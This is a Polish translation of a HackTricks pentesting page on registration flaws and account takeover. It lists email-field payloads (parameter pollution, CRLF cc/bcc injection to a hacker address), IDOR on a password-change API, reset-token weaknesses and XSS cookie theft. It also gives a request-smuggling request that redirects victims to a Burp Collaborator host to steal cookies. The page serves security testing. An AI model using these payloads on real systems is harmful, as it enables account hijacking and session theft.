hacktricks/pentesting-web/registration-vulnerabilities.md
2024-02-11 01:46:25 +00:00

8.7 KiB

Wulnerowalności rejestracji i przejęcia konta

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Przejęcie konta poprzez rejestrację

Duplikacja rejestracji

  • Spróbuj wygenerować, używając istniejącej nazwy użytkownika
  • Sprawdź zmianę adresu e-mail:
  • wielkie litery
  • +1@
  • dodaj kropkę w adresie e-mail
  • specjalne znaki w nazwie e-maila (%00, %09, %20)
  • Dodaj czarne znaki po adresie e-mail: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Weryfikacja nazwy użytkownika

Sprawdź, czy można ustalić, czy nazwa użytkownika została już zarejestrowana w aplikacji.

Polityka hasła

Tworząc użytkownika, sprawdź politykę hasła (sprawdź, czy można używać słabych haseł).
W takim przypadku można spróbować przeprowadzić atak brutalnej siły na poświadczenia.

Wstrzyknięcie SQL

Sprawdź tę stronę, aby dowiedzieć się, jak próbować przejąć konta lub wydobywać informacje za pomocą wstrzyknięć SQL w formularzach rejestracyjnych.

Przejęcie konta OAuth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Wulnerowalności SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Zmiana adresu e-mail

Po zarejestrowaniu spróbuj zmienić adres e-mail i sprawdź, czy ta zmiana jest poprawnie zweryfikowana lub czy można go zmienić na dowolne adresy e-mail.

Dodatkowe sprawdzenia

  • Sprawdź, czy można używać adresów e-mail jednorazowych
  • Długie hasło (>200) prowadzi do DoS
  • Sprawdź limity częstotliwości tworzenia kont
  • Użyj username@burp_collab.net i przeanalizuj wywołanie zwrotne
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na parametrach API

  1. Atakujący musi zalogować się na swoje konto i przejść do funkcji Zmień hasło.
  2. Uruchom Burp Suite i przechwyć żądanie.
  3. Prześlij je do zakładki Repeater i edytuj parametry: ID użytkownika/adres e-mail
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Słabe tokeny resetowania hasła

Token resetowania hasła powinien być generowany losowo i unikalny za każdym razem.
Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam. W niektórych przypadkach algorytm generujący jest słaby i można go zgadnąć. Następujące zmienne mogą być używane przez algorytm.

  • Timestamp
  • ID użytkownika
  • Adres e-mail użytkownika
  • Imię i nazwisko
  • Data urodzenia
  • Kryptografia
  • Tylko liczby
  • Krótka sekwencja tokenów (znaki między [A-Z,a-z,0-9])
  • Ponowne użycie tokenu
  • Data wygaśnięcia tokenu

Wyciek tokena resetowania hasła

  1. Wywołaj żądanie resetowania hasła za pomocą interfejsu API/UI dla określonego adresu e-mail, np. test@mail.com.
  2. Sprawdź odpowiedź serwera i sprawdź, czy istnieje resetToken.
  3. Następnie użyj tokenu w adresie URL, np. https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Resetowanie hasła poprzez kolizję nazwy użytkownika

  1. Zarejestruj się w systemie z nazwą użytkownika identyczną jak nazwa użytkownika ofiary, ale z wstawionymi spacjami przed i/lub po nazwie użytkownika, np. "admin ".
  2. Poproś o resetowanie hasła za pomocą złośliwej nazwy użytkownika.
  3. Użyj otrzymanego tokenu w wiadomości e-mail i zresetuj hasło ofiary.
  4. Zaloguj się na konto ofiary za pomocą nowego hasła.

Platforma CTFd była podatna na ten atak.
Zobacz: CVE-2020-7245

Przejęcie konta za pomocą ataku Cross Site Scripting

  1. Znajdź XSS w aplikacji lub poddomenie, jeśli ciasteczka są ograniczone do domeny nadrzędnej: *.domain.com.
  2. Wyciekaj bieżące ciasteczka sesji.
  3. Uwierzytelnij się jako użytkownik, używając ciasteczka.

Przejęcie konta za pomocą ataku HTTP Request Smuggling

1. Użyj narzędzia smuggler, aby wykryć rodzaj ataku HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Stwórz żądanie, które nadpisze POST / HTTP/1.1 następującymi danymi:
GET http://something.burpcollaborator.net HTTP/1.1 X: z celem przekierowania ofiar do burpcollab i kradzieży ich ciasteczek
3. Końcowe żądanie może wyglądać następująco

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Raporty Hackerone dotyczące wykorzystania tej luki:

Przejęcie konta za pomocą CSRF

  1. Utwórz payload dla CSRF, np. "Formularz HTML z automatycznym przesłaniem do zmiany hasła"
  2. Wyślij payload

Przejęcie konta za pomocą JWT

Token JSON Web może być używany do uwierzytelniania użytkownika.

  • Edytuj JWT, zmieniając identyfikator użytkownika / adres e-mail
  • Sprawdź podatną sygnaturę JWT

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: